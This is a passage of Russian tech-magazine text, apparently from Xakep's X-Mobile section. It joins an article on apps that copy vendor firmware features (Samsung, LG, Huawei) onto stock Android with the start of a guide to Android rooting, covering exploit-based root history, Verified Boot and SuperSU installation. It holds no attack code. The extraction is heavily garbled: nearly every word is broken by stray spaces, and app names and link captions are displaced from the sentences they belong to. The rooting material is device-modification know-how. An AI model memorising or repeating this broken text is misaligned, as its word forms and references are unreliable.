сов), голосо вое уве дом ление.

Све товой поток

Ми гание све тоди одом мож но прик репить к сис темным парамет рам: к при‐ 
меру,  мож но  нас тро ить  мигание  синим  све тоди одом,  ког да  вклю чен  Blue‐
tooth,  оран жевым  —  ког да  нет  сети  и  так  далее.  Нас толь ко  тон ко,  как  эта
прог рамма, нас тро ить све тоди од не могут даже кас томные про шив ки.

Нас трой ки инди като ра в S4 (на S7 по неиз вес тной при чине есть толь ко
перек лючал ка) и «Све товой поток»

РЕЖИМ УПРАВЛЕНИЯ ОДНОЙ РУКОЙ

В про шив ках Samsung, Xiaomi, Asus и LineageOS есть так называ емый режим
управле ния одной рукой. Он вез де работа ет оди нако во — кар тинка на экра не
умень шает ся и при липа ет к одно му из двух ниж них углов экра на. Толь ко прин‐ 
цип  его  вклю чения  раз ный:  на  Samsung  либо  трой ной  клик  по  кноп ке
«Домой»,  либо  свайп  из  ниж него  угла  экра на,  на  Asus —  двой ное  нажатие
«Домой»,  в  Xiaomi  и  LineageOS — свайп  по  подэк ранным  (или  наэк ранным)
кноп кам.

При мер но те же воз можнос ти пре дос тавля ет при ложе ние  , одна‐ 
ко  из‐за  тех ничес ких  огра ниче ний  оно  уме ет  сужать  экран  толь ко  свер ху,
но не по сто ронам. К тому же тре бует root.

Overscan

По  час ти  реали зации  к  при ложе нию  прид рать ся  слож но:  вклю чить
«миними зацию»  мож но  как  свай пом  с  выб ранной  сто роны  экра на,  так
и нажати ем кноп ки в штор ке уве дом лений. Уве дом ление в стро ке сос тояния
мож но отклю чить, есть воз можность регули ровать  глу бину «сдви га», а  так же
нас тро ить авто мати чес кое отклю чение режима, ког да экран гас нет. При ложе‐ 
нием мож но управлять с помощью Tasker.

Ре жим управле ния одной рукой в Samsung и Overscan

ГОЛОСОВЫЕ УВЕДОМЛЕНИЯ

В  смар тфо нах  Samsung  есть  режим  гром кой  свя зи:  голосо вое  вос про изве‐ 
дение  уве дом лений  о  вхо дящих  звон ках,  све дений  об  отпра вите лях  СМС,
а так же о будиль нике, событии из кален даря.

По хожую фун кци ональ ность  реали зует  при ложе ние  . Оно  не  такое
прод винутое, как фун кция Samsung, и, по сути, уме ет толь ко зачиты вать уве‐ 
дом ления,  зато  им  мож но  тон ко  управлять,  нап ример  акти виро вать  толь ко
для Bluetooth‐науш ников  (опция Speak Output) и вста вить свой собс твен ный
пре фикс перед уве дом лени ем (раз дел нас тро ек Prefix).

Speaki

Ре жим гром кой свя зи в Galaxy S4 (в S7 такой фун кции нет) и нас трой ки
Speaki

УМНЫЕ НАСТРОЙКИ

В смар тфо нах  LG есть фун кция Smart Settings — смар тфон  самос тоятель но
меня ет  нас трой ки  и  откры вает  при ложе ния  в  зависи мос ти  от  мес тополо‐ 
жения.

Все это и мно гое дру гое мож но орга низо вать на любом Android‐смар тфо‐ 
не  с  помощью  .  Рекомен дую  пос мотреть  нес коль ко 
и почитать  .

Tasker ви део  на  YouTube
на шу статью

Tasker  уме ет  акти виро вать  раз личные  нас трой ки  (про фили)  не  толь ко
в  зависи мос ти  от  мес тополо жения,  но  и  в  зависи мос ти  от  под клю чен ных
по  Wi‐Fi  и  Bluetooth  устрой ств.  Рекомен дую  исполь зовать  имен но  эту  нас‐ 
трой ку;  акти вация  про филей  на  осно ве мес тополо жения  силь но  пот ребля ет
заряд акку муля тора.

Smart Settings (LG) и Tasker

ОТКЛЮЧЕНИЕ ГРОМКОСТИ ПРИ ЗВОНКЕ

В  смар тфо нах  Samsung  мож но  отклю чить  звук  вхо дяще го  вызова,  про ведя
рукой над дис пле ем, а на HTC — перевер нув смар тфон экра ном вниз.

Фун кцию очень прос то реали зовать в Tasker: запус каем прог рамму, перек‐ 
люча емся  на  вклад ку  PROFILES,  нажима ем  на  +,  выбира ем  «Сос тояние →
Sensor → Сен сор приб лижения», теперь нажима ем кноп ку «Назад». Выбира‐ 
ем «Новая задача», вво дим любое наз вание, выбира ем «+ → Аудио → Do Not
Disturb»,  нажима ем  «Назад».  Все.  Теперь  дос таточ но  про вес ти  рукой
над экра ном смар тфо на во вре мя звон ка, и звук будет отклю чен.

Так же мож но орга низо вать и отклю чение зву ка при поворо те смар тфо на
экра ном  вниз.  Для  это го  нуж но  в  пре дыду щей  инс трук ции  в  Sensor  вмес то
«Сен сор  приб лижения»  выб рать  «Ори ента ция»,  а  затем  «Положе ние  „Экра‐ 
ном вниз“». Толь ко не забывай, что теперь при поворо те смар тфо на экра ном
вниз (или перек рытии дат чика приб лижения) у тебя всег да будет акти виро ван
режим «Без зву ка».

Ес ли не хочет ся замора чивать ся с «Тас кером», мож но исполь зовать при‐ 
ложе ние  .  В  прог рамме  есть  толь ко  одна  кноп ка  —  вклю‐ 
чение‐вык лючение.  Отли чия  от  самопаль ного  метода  через  Tasker:  если
смар тфон лежит дис пле ем вниз, то звук не отклю чает ся и ты можешь слы шать
вхо дящие звон ки и уве дом ления; для отклю чения зву ка дос таточ но повер нуть
смар тфон экра ном вниз на одну секун ду и положить экра ном вверх — теперь
вызов все рав но будет идти уже без зву ка. Но есть дру гой баг: если смар тфон
лежит  дис пле ем  вниз  и  пос тупа ет  вхо дящий  зво нок,  то  поворот  дис пле ем
вверх и опять дис пле ем вниз не при ведет к отклю чению зву ка.

Flip  To  Mute

«Удоб ное вклю чение экра на» на Samsung и его реали зация
в Tasker

В  про шив ке  Huawei  есть  выд вига ющаяся  сни зу  панель  быс трых  нас тро ек,
напоми нающая  Control  Panel  из  iOS.  Такую  же  мож но  получить  с  помощью
при ложе ния  .  Прог рамма  очень  напоми нает  «Центр
управле ния» из  iOS. Раз ве что не копиру ет дизайн. Зато при сутс тву ют поч ти
все перек лючате ли, дос тупные как в Huawei, так и в iOS.

Quick  Control  Panel

Control Panel в iOS и Quick Control Panel

https://play.google.com/store/apps/details?id=com.tomer.alwayson
https://play.google.com/store/apps/details?id=com.jamworks.knockz
https://play.google.com/store/apps/details?id=com.achep.acdisplay
https://play.google.com/store/apps/details?id=com.beansoft.eyespy.free
https://play.google.com/store/apps/details?id=com.speedify.speedifyandroid
https://play.google.com/store/apps/details?id=com.rageconsulting.android.lightflowlite
https://play.google.com/store/apps/details?id=execbit.ru.overscan
https://play.google.com/store/apps/details?id=com.one.speakify
https://play.google.com/store/apps/details?id=net.dinglisch.android.taskerm
https://www.youtube.com/results?search_query=tasker
https://xakep.ru/2014/05/25/tasker-full-using/
https://play.google.com/store/apps/details?id=com.apnitor.fliptomute
https://play.google.com/store/apps/details?id=com.woodblockwithoutco.quickcontroldock


ДОБАВЛЯЕМ ФИРМЕННЫЕ
ФУНКЦИИ ПРОШИВОК SAMSUNG,

HTC И SONY
В СТОКОВЫЙ ANDROID

X‐MOBILE  НАЧАЛО СТАТЬИ←

КЛОНИРОВАНИЕ ПРИЛОЖЕНИЙ
Во мно гих китай ских про шив ках, нап ример MIUI, EMUI, есть фун кция кло ниро‐ 
вания при ложе ний. Она поз воля ет уста новить сра зу нес коль ко копий одно го
при ложе ния, в резуль тате мож но сидеть в твит тере или «Кон такте» одновре‐ 
мен но с нес коль ких акка унтов.

 пре дос тавля ет иден тичную, даже луч шую фун кци ональ ность.
Оно  под держи вает  сер висы  Google,  уме ет  соз давать  ярлы ки  на  глав ном
экра не  для быс тро го  запус ка  копий  при ложе ний. Из минусов  отме чу  перег‐ 
ружен ность ненуж ными фун кци ями  (чте ние новос тей, допол нитель ный экран
бло киров ки), но их мож но отклю чить.

Parallel Space

Parallel Space

ЗАЩИТА ПРИЛОЖЕНИЙ
В  смар тфо нах  Xiaomi  с  MIUI  мож но  пос тавить  гра фичес кий  ключ  на  запуск
любых  при ложе ний.  Такая  же  фун кци ональ ность  дос тупна  в  при ложе нии

. Бло киров ка при ложе ний воз можна либо с помощью пароля,
либо через отпе чаток паль ца.
Smart AppLock

Есть  и  недос таток:  если  уда лить  саму  прог рамму,  все  пароли  исчезнут.
И тут воз можно реали зовать малень кий лай фхак: ста вим пароль на нас трой‐ 
ки,  Play  Store  и  уста нов щик  пакетов.  Это го  впол не  дос таточ но,  что бы  оста‐ 
новить рядово го взлом щика и задер жать опыт ного.

Smart AppLock

ФИЛЬТР СИНЕГО ЦВЕТА
Мно гие про шив ки, вклю чая даже кас томную LineageOS, име ют фун кцию сни‐ 
жения  цве товой  тем перату ры  дис плея  по  вечерам,  что бы  делать  кар тинку
более при ятной гла зам и не нап рягать их.

Та кую же фун кцию мож но получить с помощью при ложе ния  . Есть
воз можность  руч ной  нас трой ки  филь тра  (при сутс тву ют  крас ный,  зеленый,
синий, жел тый, оран жево‐розовый цве та, так же дос тупны руч ные нас трой ки,
с помощью которых мож но получить филь тр любого цве та) и авто мати чес кая
нас трой ка вре мени рас све та и заката в зависи мос ти от мес тополо жения.

CF.lumen

Все парамет ры, выс тавлен ные по умол чанию, вклю чая вре мя заката, рас‐ 
све та  и  глу бокой  ночи,  мож но  поменять,  так же  мож но  под коррек тировать
агрессив ность работы и исполь зуемые филь тром цве та. Впро чем, авто мати‐ 
ка  работа ет  прек расно:  вечером  интерфейс  слег ка  жел то‐золотис тый,
утром — яркий, синева тый, естес твен ные цве та окру жения в это вре мя суток.

По жалуй, единс твен ный недос таток CF.lumen — отсутс твие рус ско го язы‐ 
ка.

Нас трой ки ноч ного режима в Samsung и CF.lumen

ФУНКЦИОНАЛЬНЫЙ СКРИНШОТЕР ЭКРАНА
В  Samsung  фун кция  сня тия  скрин шота  уме ет  зах ватывать  скры тые  области
экра на  (делать длин ные скрин шоты), поз воля ет рисовать на сним ке и обре‐ 
зать его.

С  задачей  редак тирова ния  скрин шотов  (соз дание  над писи  и  рисова ние
на сним ке, обрезка) прек расно спра вит ся  . Есть даже фун‐ 
кция авто запус ка режима редак тирова ния сра зу пос ле сня тия скрин шота.

Screenshot Capture

Прог рамм для соз дания длин ных скрин шотов в Play Store пол ным‐пол но.
Работа ют они все прос то ужас но. Пожалуй, мож но пос тавить на пер вое мес то

. Это при ложе ние работа ет не луч ше и не хуже ана логов из мар‐ 
кета,  но  интерфейс  у  него  поп рият нее.  Про ще  обре зать  и  скле ить  сним ки
вруч ную в гра фичес ком редак торе, чем мучить ся с подоб ными прог рамма ми.

Stitch & Share

Ре дак тирова ние скрин шота в Samsung и Screenshot Capture

ЗАПИСЬ СКРИНКАСТОВ
В про шив ках Samsung и Asus есть удоб ная прог рамма, уме ющая записы вать
видео про цес са игры. В дру гих смар тфо нах похожую фун кци ональ ность мож‐ 
но получить с помощью  .DU Recorder

При ложе ние поз воля ет выб рать раз решение, бит рейт, количес тво кад ров
в  секун ду.  Есть  воз можность  показать  изоб ражение  с фрон таль ной  камеры
поверх записы ваемо го видео и вклю чить запись зву ка с мик рофона устрой‐ 
ства. По час ти записи видео DU Recorder  уде лыва ет и Game Genie, и Game
Tools.  Наг ружа ет  девайс  так  же,  как  «фир менные»  кон курен ты,  не  вылета ет
и не зависа ет, но не уме ет стри мить видео в интернет.

Для  стри мин га  на  Twitch  подой дет  .  Начать  стри мить  очень  прос‐ 
то — запус каем при ложе ние, выбира ем Twitch, заходим в свой акка унт, вво‐ 
дим  наз вание  тран сля ции  и  нажима ем  «Начать  стрим».  Gusher  уме ет  стри‐ 
мить и на YouTube, но я рекомен дую исполь зовать при ложе ние «

».  Это  офи циаль ное  при ложе ние  ком пании  Google,  которое  явля ется
пря мым  кон курен том  Twitch.  Что бы  начать  стри мить  игру  с  мобиль ного
устрой ства,  дос таточ но  нажать  на  зна чок  стре лоч ки  спра ва  ввер ху  (воз ле
кноп ки поис ка), далее запус тится инту итив но понят ный визард, помога ющий
нас тро ить  раз ные  парамет ры  стри ма.  Толь ко  вот  у  «YouTube  Гей минг»  есть
один сущес твен ный недос таток — стри мить мож но мак симум с раз решени‐ 
ем 720p.

Gusher

YouTube Гей‐ 
минг

Game Tools (Samsung) и DU Recorder

ПРОФЕССИОНАЛЬНЫЕ ФОТО
Про изво дите ли  смар тфо нов  любят  хвас тать ся  мегапик селями,  качес твом
и фун кци ональ ностью сво их камер. Одна ко в ряде слу чаев фун кци ональ ность
пре дус танов ленных  на  фир менные  смар тфо ны  камер  мож но  получить
с помощью сто рон них при ложе ний.

Для  тон кой  нас трой ки  камеры  от  девай са  тре бует ся  пол ная  под дер жка
Camera 2 API. Это новый интерфейс  управле ния  камерой,  который появил ся
в  Android  5.  Одна ко  далеко  не  все  про изво дите ли  добав ляют  под дер жку
нового интерфей са в свои смар тфо ны, мало того — иног да под дер жка Cam‐
era 2 API есть, а поз волено менять толь ко один параметр.

Как  бы  там  ни  было,  самая  удоб ная  камера  с  под дер жкой  Camera 2  —
это  . Да, сто ит при ложе ние аж 180 руб лей, но дос той ного кон‐ 
курен та по удобс тву исполь зования и воз можнос тям нет.

Manual Camera

Manual Camera  под держи вает  руч ную нас трой ку  балан са белого  (баланс
мож но отре гули ровать в кель винах), авто фоку са, ISO, экспо зиции, выдер жки.
При чем  регули рует ся  каж дый  параметр  вра щени ем  колеса,  пря мо  как  во
взрос лых фото аппа ратах. Регули ров ка плав ная.

  тоже  содер жит  мно жес тво  нас тро ек,  одна ко  для  их  изме‐ 
нения при дет ся очень дол го блуж дать по неудоб ным менюш кам.

Open Camera

Про верить  воз можнос ти  Camera 2  API  в  тво ем  смар тфо не  мож но
с помощью при ложе ния  .Manual Camera Compatibility

Ка мера Samsung и Manual Camera

РАЗМЫТИЕ ФОНА ФОТОГРАФИИ
Но вый айфон с двой ной камерой и некото рые дру гие смар тфо ны поз воля ют
делать  отличные  фотог рафии  с  раз мытым  фоном.  Сымити ровать  такой
эффект  мож но  с  помощью  при ложе ния  « »  в  режиме  «Раз‐ 
мытие».

Google  Камера

На съем ку фотог рафии тре бует ся око ло секун ды. Алго рит мы работы прог‐ 
раммы под разуме вают, что все это вре мя объ ект съем ки не будет дви гать ся,
а вмес те с объ ектом не замыли вает ся и мес то, на котором он сто ит. Иног да
выруча ют  регули ров ка  силы  раз мытия  (глу бины  «фокуси ров ки»)  и  выбор
области  «фокуси ров ки»,  одна ко  авто мати ка  и  без  регули ров ки  работа ет
прек расно.

Раз мытие в Google Camera

ПАНОРАМНАЯ СЪЕМКА
Прек расные  панора мы  мож но  получить  прак тичес ки  на  любом  смар тфо не.
В этом деле вне кон курен ции опять же « ». С ее помощью мож‐ 
но не толь ко сни мать горизон таль ные и вер тикаль ные панора мы, но и делать
эффект  рыбь его  гла за  с  обзо ром  где‐то  в  300°,  сни мать  сфе ричес кие
панора мы на 360°  с раз решени ем в 40 мегапик селей или делать панора му,
соз данную  из  девяти  сним ков,  с  соот ношени ем  сто рон  3  к  2,1  (при мер но)
и раз решени ем в 41 мегапик сель.

Google Камера

Так же панора му мож но «сшить» из уже сде лан ных сним ков с помощью 
.

Bi‐
mostitch Panorama Stitcher

Соз дание панора мы в Samsung и Google Camera

TIMELAPSE
Од нознач но  .  Сре ди  кон курен тов  выделя ется  прек расной
ста били заци ей. Под держи вает запись timelapse в HD и Full HD качес тве.

Hyperlapse  Mobile

Ги пер лапс в Samsung и Hyperlapse Mobile

ДИСПЛЕЙ В КАЧЕСТВЕ ВСПЫШКИ
В  смар тфо нах  LG  есть  прек расная  опция,  ког да  дис плей  исполь зует ся
как  вспыш ка  для  сел фи.  Та  же  фун кция  есть  в  .  На  вре мя
«вспыш ки»  яркость  экра на  выс тавля ется  на  всю  катуш ку,  из‐за  чего
на некото рых смар тфо нах эффект получа ется как от пол ноцен ной вспыш ки.

Open  Camera

Не все про изво дите ли пря чут свои фун кции. Есть и те, которые делят ся ими
со все ми.

Нап ример, Asus вык ладыва ет в откры тый дос туп нес коль ко сво их при ложе‐ 
ний. Вни мания зас лужива ют   и  .зво нил ка фай ловый менед жер

Со  сто рон них  ресур сов  мож но  ска чать:  ,  ,  , 
,   и мно гие дру гие фир менные при ложе ния.

ка меру ла унчер кла виату ру ка‐ 
лен дарь со обще ния

Прак тичес ки все эти прог раммы не пред став ляют инте реса. Фун кции в них
весь ма стан дар тны и есть в боль шинс тве ана логов. Раз ве что в камере мно‐ 
жес тво экс клю зив ных фун кций для устрой ств Asus. Одна ко работать они будут
толь ко на самих устрой ствах Asus, для которых при ложе ние и так офи циаль но
дос тупно в Play Store.

В слу чае с BlackBerry абсо лют но для всех устрой ств с Android 4+ дос тупны:
,  ,  ,  ,  нес коль ко  при ложе‐ 

ний‐орга най зеров и,  самое инте рес ное,  . Эта шту ка объ еди‐ 
няет  все  сооб щения  из  нес коль ких  источни ков  (СМС,  элек трон ная  поч та,
события из кален даря и так далее) на одном экра не в виде лен ты.

ка лен дарь ла унчер ме нед жер  кон тактов за мет ки
BlackBerry Hub

Для пол ноцен ной работы при ложе ний при дет ся  пос тавить 
 — неч то напоми нающее сер висы Google Play.

служ бы Black‐
Berry Hub+

Для Sony некото рые прог раммы тоже мож но най ти на 4PDA:  , 
,  ,  а некото рые даже в Play Store:  ,  . Одна ко в них

тоже нет ничего осо бен ного.

ла унчер га‐ 
лерея ча сы Sketch дик тофон

При ложе ния  из  HTC  Sense:  ,  ,  ,    со  все ми
фун кци ями и мно жес тво дру гих при ложе ний.

ча сы ка лен дарь га лерея ка мера

Га лерея HTC и часы Sony

ВЫВОДЫ
Как ты уже, навер ное, убе дил ся, прак тичес ки все те кру тые фиш ки фир менных
про шивок, которые воз можно реали зовать соф твер но, либо были уже реали‐ 
зова ны, либо появят ся в ско ром вре мени. А что каса ется отли чий в железе, то
тут ничего не подела ешь, если силь но надо — при дет ся покупать.

https://play.google.com/store/apps/details?id=com.lbe.parallel.intl
https://play.google.com/store/apps/details?id=com.sp.protector.free
https://play.google.com/store/apps/details?id=eu.chainfire.lumen
https://play.google.com/store/apps/details?id=com.tools.screenshot
https://play.google.com/store/apps/details?id=com.glitch.stitchandshare
https://play.google.com/store/apps/details?id=com.duapps.recorder
https://play.google.com/store/apps/details?id=com.smamolot.gusher
https://play.google.com/store/apps/details?id=com.google.android.apps.youtube.gaming
https://play.google.com/store/apps/details?id=pl.vipek.camera2
https://play.google.com/store/apps/details?id=net.sourceforge.opencamera
https://play.google.com/store/apps/details?id=pl.vipek.camera2_compatibility_test
https://4pda.ru/forum/index.php?showtopic=564748
https://4pda.ru/forum/index.php?showtopic=564748
https://play.google.com/store/apps/details?id=com.facebook.rethinkvision.Bimostitch
https://play.google.com/store/apps/details?id=com.microsoft.hyperlapsemobile
https://play.google.com/store/apps/details?id=net.sourceforge.opencamera
https://play.google.com/store/apps/details?id=com.asus.contacts
https://play.google.com/store/apps/details?id=com.asus.filemanager
https://4pda.ru/forum/index.php?showtopic=716558
https://4pda.ru/forum/index.php?showtopic=587500
http://4pda.ru/forum/index.php?showtopic=716476
https://4pda.ru/forum/index.php?showtopic=708926
https://4pda.ru/forum/index.php?showtopic=716570
https://play.google.com/store/apps/details?id=com.blackberry.calendar
https://play.google.com/store/apps/details?id=com.blackberry.blackberrylauncher
https://play.google.com/store/apps/details?id=com.blackberry.contacts
https://play.google.com/store/apps/details?id=com.blackberry.notes
https://play.google.com/store/apps/details?id=com.blackberry.hub
https://play.google.com/store/apps/details?id=com.blackberry.infrastructure
https://4pda.ru/forum/index.php?showtopic=731836
https://4pda.ru/forum/index.php?showtopic=464423
https://4pda.ru/forum/index.php?showtopic=724888
https://play.google.com/store/apps/details?id=com.sonymobile.sketch
https://play.google.com/store/apps/details?id=com.sonymobile.androidapp.audiorecorder
https://4pda.ru/forum/index.php?showtopic=704704
https://4pda.ru/forum/index.php?showtopic=684851
https://4pda.ru/forum/index.php?showtopic=691408
https://4pda.ru/forum/index.php?showtopic=684342
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X‐MOBILE

Мы  сис темати зиро вали  самые  рас простра нен ные  спо собы
получить пра ва супер поль зовате ля в акту аль ных вер сиях An‐
droid;  разоб рались  в  раз личи ях меж ду SuperSU,  phh Super‐
User,  Magisk,  KingRoot  и  Kingo  Root;  про тес тирова ли  раз‐ 
личные спо собы скрыть root; изу чили сис тему безопас ности
Android  7  и  узна ли,  чем  может  гро зить  получе ние  root
на  новых  вер сиях  Android.  Ну  а  потом  зак рылись  в  ком нате
без окон и про изве ли на свет этот текст.

НЕМНОГО ИСТОРИИ
Об ладате ли  ран них  вер сий  Android  обыч но  получа ли  пра ва  root  с  исполь‐ 
зовани ем какой‐либо уяз вимос ти в сис теме безопас ности Android или одно го
из  сис темных  при ложе ний,  уста нов ленных  про изво дите лем.  Исполь зование
уяз вимос тей  поз воляло  при ложе нию  «выр вать ся»  из  песоч ницы  и  получить
пра ва сис темно го про цес са через эска лацию при виле гий.

Что бы  не  пов торять  про цесс  каж дый  раз  и  что бы  пре дос тавить  воз‐ 
можность  и  дру гим  при ложе ниям  исполь зовать  пра ва  супер поль зовате ля,
в  сис темный  раз дел  помеща ли  файл    (как  пра вило,  в  катало ге 

)  и  при ложе ние  для  обра бот ки  зап росов  прав  root  (в  ).
Что бы получить пра ва root, при ложе ние запус кало su, в этот момент сра баты‐ 
вал  менед жер  обра бот ки  зап росов  и  зап рашивал  у  поль зовате ля  под‐ 
твержде ние.

su /system/
xbin/ /system/app/

Ок но зап роса прав и исто рия зап росов

Та кая  схе ма  прек расно  работа ла  во  всех  вер сиях  Android  вплоть  до  пятой,
а добытый с ее помощью root‐дос туп чаще все го не мешал получать обновле‐ 
ния про шивок и даже иног да сох ранял ся пос ле  таких обновле ний. Популяр‐ 
ностью поль зовались мно гочис ленные при ложе ния, экс плу ати ровав шие одну
или  нес коль ко  уяз вимос тей  (нап ример,  Towelroot).  Со  вре менем  боль шую
ауди торию  наб рали  китай ские  при ложе ния  KingRoot  и  Kingo  Root,  вклю чав‐ 
шие в себя боль шие кол лекции экс пло итов, которые ска чива лись непос редс‐ 
твен но в момент запус ка с китай ских сер веров. В слу чае успешной эска лации
при виле гий  эти  при ложе ния  про писы вали  в  сис темный  раз дел  мно го  инте‐ 
рес ного;  уда лить  их  мож но  было  либо  вмес те  с  root‐дос тупом,  либо
с помощью спе циаль ного «чис тиль щика», сде лан ного раз работ чиком Super‐
SU Chainfire.

В  Android  5.0  была  вве дена  новая  сис тема  обновле ний.  Теперь  в фай ле
OTA изме нения про писы вались не на фай ловом, а на блоч ном уров не; что бы
не пов редить фай ловую сис тему, инстал лятор обновле ния под счи тывал кон‐ 
троль ную  сум му  сис темно го  раз дела.  Естес твен но,  записан ный  в  раз дел 

 файл   изме нял кон троль ную сум му раз дела, и обновле ние не уста‐ 
нав ливалось  (а  в  тех  слу чаях,  ког да  оно  все‐таки  ста вилось,  был  высокий
шанс получить на выходе «кир пич»).

/
system su

Шес тая  вер сия  Android  при нес ла  и  обновлен ную  сис тему  безопас ности,
которая (вре мен но) сде лала невоз можным получе ние прав супер поль зовате‐ 
ля прос той записью при ложе ния в сис темный раз дел. В резуль тате появил ся
обходной  путь —  так  называ емый  systemless  root,  внед ряющий  su  в  ramdisk
вмес то модифи кации сис темно го раз дела. На некото рых устрой ствах с «бес‐ 
систем ным»  root‐дос тупом даже получа лось уста нав ливать OTA‐обновле ния;
впро чем, гаран тии тут никакой.

Впер вые  root был получен на пер вом в мире Android‐устрой стве HTC Dream
G1, выпущен ном в далеком 2008 году. На устрой стве был запущен сер вис Tel‐
net  с  пра вами  root  и  без  аутен тифика ции.  Для  получе ния  вре мен ного  root‐
дос тупа было дос таточ но под клю чить ся  к смар тфо ну по Telnet, для пос тоян‐ 
ного — залить в сис темный раз дел бинар ный файл su.

ROOT В ANDROID 7
Особ няком сто ят устрой ства, выпущен ные с Android 7 на бор ту (впро чем, то,
о чем мы сей час будем писать, отно сит ся и ко мно гим устрой ствам, которые
получа ют Android 7 в качес тве обновле ния).

Как  ты,  навер ное,  зна ешь,  механизм  безопас ной  заг рузки  (Verified  Boot)
был реали зован в Android дав ным‐дав но, еще в вер сии 4.4 KitKat. Его цель —
защитить  поль зовате ля  от  атак,  нап равлен ных  на  модифи кацию  сис темы
и  внед рение  в  нее  кода  еще  до  начала  заг рузки  сис темы.  Для  это го  он
исполь зует  скры тый  в  модуле  TEE  ключ,  что бы  све рить  циф ровую  под пись
заг рузчи ка,  далее  заг рузчик  све ряет циф ровую под пись раз дела boot,  а он,
в  свою  оче редь,  про веря ет  целос тность  сис темно го  раз дела  с  помощью
механиз ма dm‐verity (Device Mapper verity).

Та кая  цепоч ка  про верок  (называ емая  root  of  trust)  поз воля ет  удос‐ 
товерить ся  в  целос тнос ти  и  отсутс твии  модифи каций  в  любом  ком понен те
заг рузки, начиная от заг рузчи ка и закан чивая самой ОС. Но если боль шинс‐ 
тво  устрой ств  под  управле нием  Android  4.4–6.0  (за  ред кими  исклю чени ями
вро де  смар тфо нов  BlackBerry  и  Samsung  с  акти виро ван ным  Knox)  в  слу чае
неус пешной  про вер ки  прос то  выводи ли  пре дуп режде ние,  но  про дол жали
заг рузку, то в Android 7.0 ситу ация изме нилась и новая‐ста рая фун кция про‐ 
вер ки целос тнос ти сис темы ста ла обя затель ной.

Verified Boot поз воля ет заг рузить модифи циро ван ный boot‐образ в слу‐ 
чае, если заг рузчик раз бло киро ван (сле ва), но отка жет в заг рузке, если

он был модифи циро ван при залочен ном заг рузчи ке

Чем это гро зит? Тем, что ста рый метод получе ния root через эска лацию при‐ 
виле гий в Android 7 прос то не работа ет. Даже если при ложе ния клас са King‐
Root, Kingo Root и им подоб ные смо гут рутануть девайс (а в дан ный момент
они не могут), устрой ство пос ле это го прос то не заг рузит ся.

Как это обой ти? Раз бло киро вать заг рузчик штат ными средс тва ми и уста‐ 
новить  SuperSU  или  Magisk.  В  этом  слу чае  заг рузчик  прос то  отклю чит
механизм  Verified  Boot.  Одна ко  не  сто ит  даже  пытать ся  взло мать  заг рузчик
на устрой ствах, не пред полага ющих такую воз можность. Даже если это удас‐ 
тся  сде лать,  взло ман ный  заг рузчик  не  прой дет  про вер ку  циф ровой  под‐ 
писи — и смар тфон прев ратит ся в кир пич.

А  что  с  Android  O?  Пос ледняя  вер сия  Magisk  под держи вает  текущую
«бету».  Разуме ется,  толь ко  для  устрой ств  с  раз бло киро ван ным  заг рузчи‐ 
ком — впро чем, Android O на дру гие пока и не ста вит ся.

Что ж, об исто рии мы погово рили. Пос мотрим теперь на раз ные спо собы
получе ния root. Нач нем с самого популяр ного спо соба — SuperSU.

SUPERSU ОТ CHAINFIRE
SuperSU —  далеко  не  пер вое  при ложе ние  для  получе ния  прав  супер поль‐ 
зовате ля. Само наз вание SuperSU — акро ним от Super Superuser; оно приш‐ 
ло на сме ну при ложе нию   в  .Superuser 2013 году

SuperSU

А  даль ше  ста ли  про исхо дить  инте рес ные  вещи.  Раз работ чик  Chainfire,
который  занимал ся  (и  занима ется)  под дер жкой  SuperSU,    про ект
неверо ятно  мут ной  ком пании  Coding  Code  Mobile  Technology  LLC  (CCMT),
о которой извес тно  .

про дал

чуть боль ше, чем ничего
Ком пания, которой при над лежит SuperSU, явля ется «зарегис три рован ным

аген том» в аме рикан ском шта те Делавэр — его час то выбира ют инос тран ные
ком пании для регис тра ции неко его подобия офшо ра (

).
за пись о регис тра ции

ком пании в реес тре шта та
Кор ни  ком пании  ухо дят  в Китай;  точ ный адрес,  кор поратив ная  струк тура,

вла дель цы  и  их  цели —  неиз вес тны.  Учи тывая,  что  исходные  коды  SuperSU
не  пуб лику ются,  некото рые  прод винутые  поль зовате ли    уста нав‐ 
ливать пос ледние вер сии при ложе ния (2.80+).

опа сают ся

В  то же  вре мя SuperSU — самый рас простра нен ный и  самый  сов мести‐ 
мый  спо соб  получе ния  прав  супер поль зовате ля.  Сущес тву ют  при ложе ния,
которые  кор рек тно  работа ют  с  SuperSU,  но  лишь  огра ничен но  сов мести мы
с  дру гими  менед жерами  прав  супер поль зовате ля  (к  при меру,  Magisk).  Так,
при ложе ние  LeanDroid  при  работе  через  SuperSU  спо соб но  авто мати чес ки
вклю чать и вык лючать переда чу дан ных по мобиль ной сети и кор рек тно акти‐ 
виро вать и деак тивиро вать спут никовый модуль GPS (не тро гая «энер госбе‐ 
рега ющий» режим опре деле ния коор динат), а с Magisk — нет (ну, или через
permissive‐ста тус SELinux). Греш ны и некото рые популяр ные сбор ки Viper 4An‐
droid;  впро чем,  в  слу чае  с  Viper  дав но  дос тупен  бес систем ный  модуль
для Magisk — а это, как ни кру ти, гораз до более «чис тый» и удоб ный спо соб
его уста нов ки.

УСТАНОВКА SUPERSU
Ус тановить  SuperSU  мож но  нес коль кими  спо соба ми.  Самый  пра виль ный
и кор рек тный спо соб уста нов ки — про шить ска чан ный с 
архив  с  помощью  кас томно го  рекаве ри  (TWRP  или  CWM).  Разуме ется,
для это го необ ходим раз бло киро ван ный  (или хотя бы час тично раз бло киро‐ 
ван ный) заг рузчик.

офи циаль ного сай та

Скрипт  уста нов ки  самос тоятель но  опре делит  вер сию  Android  и  спо соб
уста нов ки  (в  сис темный  раз дел  или  systemless).  Для  све жих  вер сий  Android
будет  авто мати чес ки  про пат чен  раз дел  boot.img  и  модифи циро ван  ramdisk.
Если для тво его устрой ства есть TWRP, а заг рузчик раз бло киро ван — никакие
дру гие  спо собы  (а  тем  более  при ложе ния  клас са  KingRoot  и  им  подоб ные)
рас смат ривать даже не нуж но.

Иног да SuperSU вклю чают в готовые про шив ки, чаще все го в неофи циаль‐ 
ные сбор ки. В таком слу чае ничего допол нитель но делать не тре бует ся.

На конец,  SuperSU  может  быть  внед рен  (ина че  не  ска жешь)  в  сис тему
с помощью того или ино го спо соба: скрип та, при ложе ния, с исполь зовани ем
аппа рат ного прог рамма тора или сер висно го режима — да‐да, есть и такое!
И  если  в  том  же  Android  6.0  кор рек тная  работа  su  без  раз бло киров ки  заг‐ 
рузчи ка в общем слу чае невоз можна, то раз нооб разные аль тер натив ные спо‐ 
собы уста нов ки час то могут обой ти эти огра ниче ния.

